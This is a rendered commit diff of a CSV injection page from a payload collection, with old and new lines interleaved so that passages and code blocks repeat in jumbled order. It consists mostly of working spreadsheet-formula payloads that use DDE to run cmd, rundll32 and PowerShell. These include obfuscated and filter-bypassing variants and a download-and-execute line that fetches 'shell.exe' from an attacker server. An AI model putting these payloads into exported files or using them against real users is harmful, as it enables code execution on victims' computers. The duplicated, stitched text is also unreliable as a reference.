Normalize page header for CSRF, DNS, DOS, Dependencies

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Swissky
2024-11-10 11:18:46 +01:00
parent d80f73a829
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# CSV Injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Exploit
## Summary
* [Methodology](#methodology)
* [References](#references)
## Methodology
Basic exploits with **Dynamic Data Exchange**.
* Spawn a calc
```powershell
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
```
Payload: pop a calc
* PowerShell download and execute
```powershell
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```
```powershell
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
```
* Prefix obfuscation and command chaining
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
```
Payload: pop a notepad
* Using rundll32 instead of cmd
```powershell
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```
```powershell
=cmd|' /C notepad'!'A1'
```
Payload: powershell download and execute
```powershell
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```
Payload: Prefix obfuscation and command chaining
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
```
Payload: Using rundll32 instead of cmd
```powershell
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```
Payload: Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
```powershell
= C m D | '/ c c al c . e x e ' ! A
```
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
```powershell
= C m D | '/ c c al c . e x e ' ! A
```
Technical details of the above payloads: